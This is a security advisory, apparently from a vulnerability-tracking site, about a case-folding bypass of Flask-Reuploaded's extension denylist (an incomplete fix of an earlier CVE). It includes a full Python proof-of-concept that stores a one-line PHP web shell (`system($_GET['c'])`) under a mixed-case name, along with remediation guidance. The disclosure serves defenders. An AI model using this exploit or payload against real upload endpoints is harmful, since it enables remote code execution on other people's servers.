Flask-Reuploaded CVE-2026-54567
HIGHSeverity by source
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
AC:H because three independent preconditions (denylist config, user-controlled name, case-insensitive execution surface) must coincide; PR:L for typically authenticated upload endpoints; C/I/A:H reflect RCE under the web server on execution-capable dirs.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3Blast Radius
ecosystem impact- 3 pypi packages depend on flask-reuploaded (3 direct, 0 indirect)
Ecosystem-wide dependent count for version 1.6.0.
DescriptionGitHub Advisory
1. Header
| Field | Value |
|---|---|
| Title | Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641) |
| Project | Flask-Reuploaded (flask_uploads) |
| Affected | <= 1.5.0 (latest release; commit ae31c3f91da40b465ca5e8f57d93f063b4553e23) |
| Relationship | Incomplete-fix variant of CVE-2026-27641 (fixed in v1.5.0; this variant survives that fix) |
| CWE | CWE-434 (Unrestricted Upload of File with Dangerous Type) + CWE-178 (Improper Handling of Case Sensitivity) |
| CVSS v3.1 (proposed) | ~7.0-7.3 (High, conditional) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. Final score deferred to maintainer. |
| Verified against | pip install Flask-Reuploaded==1.5.0, Python 3.11 |
---
2. Decisive evidence - the asymmetry
The v1.5.0 fix for CVE-2026-27641 added an extension re-validation that runs when a caller supplies a name override to UploadSet.save(). It is routed through the case-preserving extension() helper, whereas the default upload path normalizes to lowercase via lowercase_ext() (inside get_basename()). The two paths disagree on case:
default path : get_basename("shell.PHP")
= lowercase_ext(secure_filename("shell.PHP")) = "shell.php"
-> extension("shell.php") = "php"
-> extension_allowed("php") -> DENY (correct)
name-override : secure_filename("shell.PHP") = "shell.PHP" (case preserved)
-> basename = "shell.PHP"
-> ext = extension("shell.PHP") = "PHP" (NOT lowercased)
-> extension_allowed("PHP") -> ALLOW (bypass)On a denylist UploadSet the allow-check returns True for the mixed-case form:
# extensions.py:97
def __contains__(self, item): return item not in self.items
# "PHP" not in ('js','php','pl','py','rb','sh') -> True -> allowedextension_allowed("PHP") passes the denylist that extension_allowed("php") is blocked by.
---
3. Vulnerability summary
UploadSet.save(storage, name=...) lets the caller override the stored filename. After the CVE-2026-27641 fix, name is sanitized with secure_filename() and its extension re-validated. Because the re-validation compares a case-preserving extension against a policy whose denied tokens are lowercase, an attacker controlling name stores a file with a denied extension by varying case (shell.PHP, evil.pHp). On servers that resolve/execute extensions case-insensitively (Windows/macOS filesystems; Apache AddHandler/AddType), this re-enables the dangerous-upload → code-execution outcome the parent CVE addressed. The bypassed config is the one the library's own docs recommend for blocking scripts (see §6).
---
4. Affected components
Permalinks pinned to commit ae31c3f91da40b465ca5e8f57d93f063b4553e23 (v1.5.0).
| Role | Location |
|---|---|
| Normalizing helper (default path) | src/flask_uploads/flask_uploads.py:283 - return lowercase_ext(secure_filename(filename)) |
save() entry | src/flask_uploads/flask_uploads.py:285 |
| name-override sanitize | src/flask_uploads/flask_uploads.py:333 - name = secure_filename(name) |
| name-override assign (case kept) | src/flask_uploads/flask_uploads.py:341 - basename = name |
| Re-validation (non-normalizing) | src/flask_uploads/flask_uploads.py:344 - ext = extension(basename) |
| Allow-check | src/flask_uploads/flask_uploads.py:345 |
| Policy check | src/flask_uploads/flask_uploads.py:268 - extension_allowed |
| Containment backstop (path only) | src/flask_uploads/flask_uploads.py:364 |
| Sink | src/flask_uploads/flask_uploads.py:374 - storage.save(target) |
| Case-preserving extractor | src/flask_uploads/extensions.py:101 - def extension |
| Case-normalizing extractor | src/flask_uploads/extensions.py:109 - def lowercase_ext |
| Denylist membership | src/flask_uploads/extensions.py:97 - AllExcept.__contains__ |
| Documented script denylist | src/flask_uploads/extensions.py:34-35 |
---
5. Taint analysis
- Source: the
nameargument ofUploadSet.save(storage, name=...)- commonly user-derived; the parent CVE-2026-27641 already treatsnameas attacker-controllable. - Guard (asymmetric):
secure_filename(name)stops traversal, but the extension policy check at:344-345uses non-normalizingextension()against a lowercase-tokened policy. The realpath containment at:364constrains the *path*, not the *extension* - orthogonal to this bypass. - Sink:
storage.save(target)at:374writes the attacker-extensioned file into the served upload directory.
---
6. CVSS justification (preconditions stated honestly)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H ≈ 7.0-7.3 (High).
- AV:N - web upload endpoint.
- AC:H - three preconditions (stated plainly):
UploadSetuses a denylist -AllExcept(...)or populatedconfig.deny. (Allowlists fail closed - §7c.)- Application passes a user-influenced
nametosave(). - Deployment resolves/executes extensions case-insensitively (Windows/macOS FS; Apache
AddHandler/AddType).
- PR:L - uploads typically authenticated. UI:N. S:U. C:H/I:H/A:H - RCE under the web server's privileges on execution-capable upload dirs.
Why High, not a contrived misconfiguration - the bypassed control is the library's documented script-blocking mechanism:
extensions.py:34-35-SCRIPTS: *"…you might want to add`php` to the DENY setting."*extensions.py:24-26-EXECUTABLES: *"…it's better suited for use withAllExcept."*
An app that followed this guidance to block scripts is exactly what this variant defeats.
Not claimed: not Critical. Pure allowlists are unaffected; execution requires a case-insensitive surface. Final score deferred to the maintainer.
---
7. Proof of Concept (results)
Against shipped Flask-Reuploaded==1.5.0:
7a. Asymmetry
default path : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" -> extension(...) -> "PHP" -> extension_allowed("PHP") -> ALLOW7b. End-to-end (denylist AllExcept(SCRIPTS))
[1] save(storage("shell.PHP")) -> UploadNotAllowed (default path blocked)
[2] save(storage("upload.bin"), name="shell.PHP") -> saved "shell.PHP", on_disk=True (BYPASS)
[2b] save(storage("upload.bin"), name="evil.pHp") -> saved "evil.pHp", on_disk=True; containment intact7c. Negative controls
[3] allowlist IMAGES, name="shell.PHP" -> UploadNotAllowed: File extension 'PHP' is not allowed (fail-closed)
[4] allowlist IMAGES, name="photo.jpg" -> saved "photo.jpg" (legit unaffected)---
8. Patch pattern (internal precedent)
The project ships a case-normalizing extractor (lowercase_ext, used by get_basename) specifically so configured extensions are *"compare[d] … in the same case"* (its docstring). The v1.5.0 re-validation instead calls the case-preserving extension(), so the new guard does not match the normalization the rest of the system relies on - the classic incomplete-fix shape where a hand-rolled check diverges from the canonical normalizer.
---
9. Impact
- Bypass of the documented extension denylist for scripts/executables.
- Storage of
.PHP/.pHp/ mixed-case dangerous files inside the served upload directory (path containment holds; extension policy defeated). - On case-insensitive execution surfaces → remote code execution under the web server's privileges - the parent CVE's end impact, re-enabled on denylist deployments.
---
10. Suggested remediation
Normalize before the policy check so the name-override path matches the default path:
ext = extension(basename).lower()(orextension(lowercase_ext(basename))) beforeextension_allowed.- Or run the overridden
basenamethroughlowercase_ext()(asget_basenamedoes) before both validation and save. - Or make
extension_allowed/ the policy containers case-insensitive.
Option (1) or (2) is the minimal, behavior-preserving fix.
---
11. Evidence files
poc_case_fold.py(§12) - self-contained PoC; runs againstpip install Flask-Reuploaded==1.5.0./tmp/flask_reuploaded_case_fold_proof.txt- captured verdict.- Source permalinks pinned to commit
ae31c3f91da40b465ca5e8f57d93f063b4553e23.
---
12. Full PoC script (poc_case_fold.py)
"""
PoC - Flask-Reuploaded CVE-2026-27641 incomplete-fix variant
Case-folding asymmetry in the name-override extension re-validation.
Parent fix (v1.5.0) added an extension re-validation in UploadSet.save() when a
`name` override is supplied, but routed it through the CASE-PRESERVING
`extension()` helper instead of the CASE-NORMALIZING `lowercase_ext()` used by the
default upload path (get_basename -> lowercase_ext). On a denylist-style UploadSet
(AllExcept / config.deny), an uppercase/mixed-case extension therefore bypasses the
denylist that the default path correctly blocks.
default path : lowercase_ext("shell.PHP") -> "php" -> extension_allowed("php") -> DENY
name-override : secure_filename("shell.PHP") -> "shell.PHP" (case kept)
-> extension("shell.PHP") -> "PHP" -> extension_allowed("PHP") -> ALLOW
Tested against the SHIPPED, patched Flask-Reuploaded==1.5.0.
"""
import io
import os
import shutil
import tempfile
from flask import Flask
from flask_uploads import (
UploadSet, AllExcept, SCRIPTS, IMAGES, configure_uploads, UploadNotAllowed,
)
from werkzeug.datastructures import FileStorage
import flask_uploads
def make_storage(filename: str) -> FileStorage:
return FileStorage(
stream=io.BytesIO(b"<?php system($_GET['c']); ?>"),
filename=filename,
content_type="application/octet-stream",
)
def run():
import importlib.metadata as md
print(f"[*] pip reports: Flask-Reuploaded=={md.version('Flask-Reuploaded')}")
dest_denylist = tempfile.mkdtemp(prefix="fr_deny_")
dest_allowlist = tempfile.mkdtemp(prefix="fr_allow_")
app = Flask(__name__)
files_deny = UploadSet("filesdeny", AllExcept(SCRIPTS))
# documented "allow all except scripts"
files_allow = UploadSet("filesallow", IMAGES)
# allowlist (fail-closed)
app.config["UPLOADED_FILESDENY_DEST"] = dest_denylist
app.config["UPLOADED_FILESALLOW_DEST"] = dest_allowlist
configure_uploads(app, (files_deny, files_allow))
results = {}
with app.app_context():
# [1] default path, denylist -> must DENY
try:
saved = files_deny.save(make_storage("shell.PHP"))
results["default_path"] = f"SAVED as {saved} <-- UNEXPECTED"
except UploadNotAllowed:
results["default_path"] = "DENIED (expected)"
# [2] name-override, denylist -> BYPASS
try:
saved = files_deny.save(make_storage("upload.bin"), name="shell.PHP")
on_disk = os.path.join(dest_denylist, saved)
results["variant"] = f"BYPASS - saved as {saved}, on_disk={os.path.exists(on_disk)}"
except UploadNotAllowed:
results["variant"] = "DENIED (variant did NOT reproduce)"
# [2b] mixed-case generality + containment intact
try:
saved = files_deny.save(make_storage("upload.bin"), name="evil.pHp")
on_disk = os.path.join(dest_denylist, saved)
inside = os.path.realpath(on_disk).startswith(os.path.realpath(dest_denylist))
results["variant_mixed"] = f"BYPASS - saved as {saved}, inside_dest={inside}"
except UploadNotAllowed:
results["variant_mixed"] = "DENIED"
# [3] allowlist -> fail closed
try:
saved = files_allow.save(make_storage("real.jpg"), name="shell.PHP")
results["allowlist"] = f"SAVED as {saved} <-- allowlist leaked"
except UploadNotAllowed:
results["allowlist"] = "DENIED (expected - allowlist fails closed)"
# [4] legit upload -> allowed
try:
saved = files_allow.save(make_storage("real.jpg"), name="photo.jpg")
results["legit"] = f"SAVED as {saved} (expected)"
except UploadNotAllowed:
results["legit"] = "DENIED (UNEXPECTED - legit upload broke)"
print("VERDICT:")
for k, v in results.items():
print(f" {k:14s}: {v}")
confirmed = (
"BYPASS" in results.get("variant", "")
and results.get("default_path") == "DENIED (expected)"
and "DENIED" in results.get("allowlist", "")
)
print("FLASK_REUPLOADED_CASE_FOLD_CONFIRMED" if confirmed else "VARIANT NOT CONFIRMED - honest cut")
shutil.rmtree(dest_denylist, ignore_errors=True)
shutil.rmtree(dest_allowlist, ignore_errors=True)
if __name__ == "__main__":
run()AnalysisAI
Extension-denylist bypass in the Flask-Reuploaded (flask_uploads) Python library allows an attacker who controls the name override passed to UploadSet.save() to store dangerous script files by varying letter case (e.g. shell.PHP, evil.pHp), defeating the very script-blocking denylist the library documents. This is an incomplete-fix variant of CVE-2026-27641: the v1.5.0 fix re-validated overridden names through the case-preserving extension() helper instead of the case-normalizing lowercase_ext() used by the default path, so uppercase extensions slip past a lowercase-tokened denylist. Publicly available exploit code exists (a self-contained PoC verified against Flask-Reuploaded==1.5.0), though there is no evidence of active exploitation and no EPSS score was provided.
Technical ContextAI
Flask-Reuploaded is a maintained fork of the archived Flask-Uploads extension providing file-upload handling for Flask web applications (pkg:pip/flask-reuploaded). The root cause is CWE-178 (Improper Handling of Case Sensitivity) manifesting as CWE-434 (Unrestricted Upload of File with Dangerous Type). Two extension-extraction helpers disagree: the default upload path uses get_basename() -> lowercase_ext() which normalizes 'shell.PHP' to 'php', but the name-override path added by the parent CVE's fix calls the case-preserving extension() on the secure_filename() output, yielding 'PHP'. The denylist container AllExcept.__contains__ (extensions.py:97) tests membership against lowercase tokens like ('js','php','pl','py','rb','sh'), so 'PHP' is not in the set and extension_allowed('PHP') returns True. The write sink is storage.save(target) at flask_uploads.py:374; realpath containment at :364 constrains the path but not the extension, so it does not mitigate this bypass.
RemediationAI
Vendor-released patch: upgrade to Flask-Reuploaded 1.6.0, which normalizes overridden filenames via lowercase_ext() before both extension validation and disk write (patch commit https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4; advisory GHSA-937x-gpqr-72gg). If you cannot upgrade immediately, switch affected UploadSets from a denylist (AllExcept/config.deny) to an explicit allowlist of safe extensions, which fails closed against case variation as confirmed by the PoC - the trade-off is that you must enumerate every legitimate extension and legitimate uploads with unlisted extensions will be rejected. Alternatively, stop passing user-influenced values into the name argument of save() (let the library derive the basename), or lowercase the override yourself before calling save(); note this changes stored filenames to lowercase. As a defense-in-depth control, configure the upload directory to be non-executable (remove Apache AddHandler/AddType for scripts, or serve uploads from storage that never executes them), which removes the code-execution outcome at the cost of no longer serving those files as active content.
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Same weakness CWE-178 – Improper Handling of Case Sensitivity
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External POC / Exploit Code
Leaving vuln.today
GHSA-937x-gpqr-72gg